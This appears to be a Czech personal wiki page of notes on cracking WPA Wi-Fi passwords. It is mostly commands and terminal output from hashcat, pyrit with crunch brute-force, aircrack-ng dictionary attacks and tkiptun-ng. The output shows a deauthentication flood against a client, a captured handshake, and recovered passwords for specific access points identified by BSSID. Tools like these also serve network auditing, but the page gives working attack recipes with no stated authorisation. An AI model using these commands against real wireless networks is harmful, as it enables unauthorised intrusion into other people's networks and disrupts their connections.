Obsah

WPA crack

Úvod

HashCat

hcxpcapngtool Patrik-01.cap  -o Patrik.hc22000
hashcat --help | grep WPA
 2500 | WPA-EAPOL-PBKDF2                                    | Network Protocol
 2501 | WPA-EAPOL-PMK                                       | Network Protocol
22000 | WPA-PBKDF2-PMKID+EAPOL                              | Network Protocol
22001 | WPA-PMK-PMKID+EAPOL                                 | Network Protocol
16800 | WPA-PMKID-PBKDF2                                    | Network Protocol
16801 | WPA-PMKID-PMK                                       | Network Protocol
hashcat -m 22000 -w3 Patrik.hc22000 -a3 ?d?d?d?d?d?d?d?d
hashcat -m 22000 -w3 Patrik.hc22000 ../../WPA-utok/slovniky/alls_final
rm /home/djbuldog/.local/share/hashcat/hashcat.potfile

Pyrit

pyrit -r <PCAP.FILE> -i <DICT.FILE> attack_passthrough
crunch 8 8 0123456789 | pyrit -r <PCAP.FILE> -i - attack_passthrough

Příklady

Pharaon:/home/djbuldog# crunch 8 8 0123456789 | pyrit -r Projekty/wifi-net-attack/mama-net/tmp/TP-LINK_E7A6D4-01.cap -i - attack_passthrough
Crunch will now generate the following amount of data: 900000000 bytes
858 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100000000 
Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora
https://github.com/JPaulMora/Pyrit
This code is distributed under the GNU General Public License v3+

Parsing file 'Projekty/wifi-net-attack/mama-net/tmp/TP-LINK_E7A6D4-01.cap' (1/1)...
Parsed 1915 packets (1915 802.11-packets), got 1 AP(s)

Picked AccessPoint 40:3f:8c:7c:8b:a0 ('TP-LINK_E7A6D4') automatically.
Tried 71483574 PMKs so far; 194428 PMKs per second. 71463573

The password is '71453248'.

Benchmark

pyrit benchmark
Computed 19081.24 PMKs/s total.
#1: 'CUDA-Device #1 'GeForce GTX 560'': 19891.8 PMKs/s (RTT 2.8)
#2: 'CPU-Core (SSE2)': 493.4 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 476.0 PMKs/s (RTT 3.2)
#4: 'CPU-Core (SSE2)': 450.5 PMKs/s (RTT 3.2)
Computed 2462.46 PMKs/s total.
#1: 'CPU-Core (SSE2)': 681.5 PMKs/s (RTT 3.0)
#2: 'CPU-Core (SSE2)': 669.4 PMKs/s (RTT 2.9)
#3: 'CPU-Core (SSE2)': 663.1 PMKs/s (RTT 2.9)
#4: 'CPU-Core (SSE2)': 593.1 PMKs/s (RTT 3.0)
#1: 'CUDA-Device #1 'GeForce 9600 GT'': 3461.1 PMKs/s (RTT 2.9)
#2: 'CPU-Core (SSE2)': 161.9 PMKs/s (RTT 3.0)
#1: 'CPU-Core (SSE2)': 252.4 PMKs/s (RTT 2.9)
#2: 'CPU-Core (SSE2)': 251.6 PMKs/s (RTT 3.0)
#1: 'CPU-Core (SSE2)': 671.7 PMKs/s (RTT 3.0)
#2: 'CPU-Core (SSE2)': 672.3 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 658.5 PMKs/s (RTT 2.9)
#4: 'CPU-Core (SSE2)': 672.1 PMKs/s (RTT 3.0)
#5: 'CPU-Core (SSE2)': 658.3 PMKs/s (RTT 3.0)
#6: 'CPU-Core (SSE2)': 669.2 PMKs/s (RTT 2.9)
#7: 'CPU-Core (SSE2)': 672.5 PMKs/s (RTT 3.0)
#8: 'CPU-Core (SSE2)': 672.6 PMKs/s (RTT 3.0)
Computed 9275.72 PMKs/s total.
#1: 'CPU-Core (SSE2)': 671.7 PMKs/s (RTT 3.0)
..
#8: 'CPU-Core (SSE2)': 672.6 PMKs/s (RTT 3.0)
#9: 'Network-Clients': 3659.0 PMKs/s (RTT 1.3)
Computed 180179.24 PMKs/s total.
#1: 'CPU-Core (SSE2)': 1033.0 PMKs/s (RTT 2.9)
#2: 'CPU-Core (SSE2)': 1018.2 PMKs/s (RTT 2.9)
#3: 'CPU-Core (SSE2)': 1041.3 PMKs/s (RTT 2.9)
#4: 'CPU-Core (SSE2)': 1041.5 PMKs/s (RTT 2.9)
CUDA:
#1: 'CUDA-Device #1 'GeForce GTX 1070 Ti'': 195886.7 PMKs/s (RTT 0.7)

Slovníkový útok

$ aircrack-ng ~/Desktop/handshake-NETGEARmt.cap \
              -w ~/Desktop/slovniky/newbigslovnik_proWPA_paaswordy.net/cutted8uniqsortedall_unix
$ pyrit -r ~/Desktop/handshake-NETGEARmt.cap \
                          -i ~/Desktop/slovniky/newbigslovnik_proWPA_paaswordy.net/cutted8uniqsortedall_unix \
                          attack_passthrough
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file '/home/djbuldog/Desktop/handshake-NETGEARmt.cap' (1/1)...
1634 packets (1634 802.11-packets), 1 APs

Picked AccessPoint 00:22:3f:14:e5:ba ('NETGEARmt') automatically.
Tried 200010 PMKs so far; 4711 PMKs per second.

The password is 'computer'.

tkiptun-ng

/tmp/x/usr/sbin/tkiptun-ng -a 00:22:3F:14:E5:BA -m 80 -n 100 ath0 -h 00:1D:E0:88:B9:7B
root@HomeGuard:~# /tmp/x/usr/sbin/tkiptun-ng -a 00:22:3F:14:E5:BA -m 80 -n 100 a
th0 -h 00:1D:E0:88:B9:7B
Blub 2:38 E6 38 1C 24 15 1C CF 
Blub 1:17 DD 0D 69 1D C3 1F EE 
Blub 3:29 31 79 E7 E6 CF 8D 5E 
08:31:55  Michael Test: Successful
08:31:55  Waiting for beacon frame (BSSID: 00:22:3F:14:E5:BA) on channel 11
08:31:55  Found specified AP
08:31:55  Sending 4 directed DeAuth. STMAC: [00:1D:E0:88:B9:7B] [ 0| 2 ACKs]
08:32:01  Sending 4 directed DeAuth. STMAC: [00:1D:E0:88:B9:7B] [ 0| 4 ACKs]
08:32:01  WPA handshake: 00:22:3F:14:E5:BA captured
08:32:02  Waiting for an ARP packet coming from the Client...
Read 12634 packets...

TODO

djbuldog@Pharaon:~$ scp /mnt/diskD/downloads/wpa-supplicant_0.6.3-1.1_mipsel.ipk  gate2:/tmp/
wpa-supplicant_0.6.3-1.1_mipsel.ipk           100%  197KB 197.2KB/s   00:00 
root@HomeGuard:~# opkg install -o /mnt/usb0/ /tmp/wpa-supplicant_0.6.3-1.1_mipse
l.ipk 
Installing wpa-supplicant (0.6.3-1.1) to root...
Configuring wpa-supplicant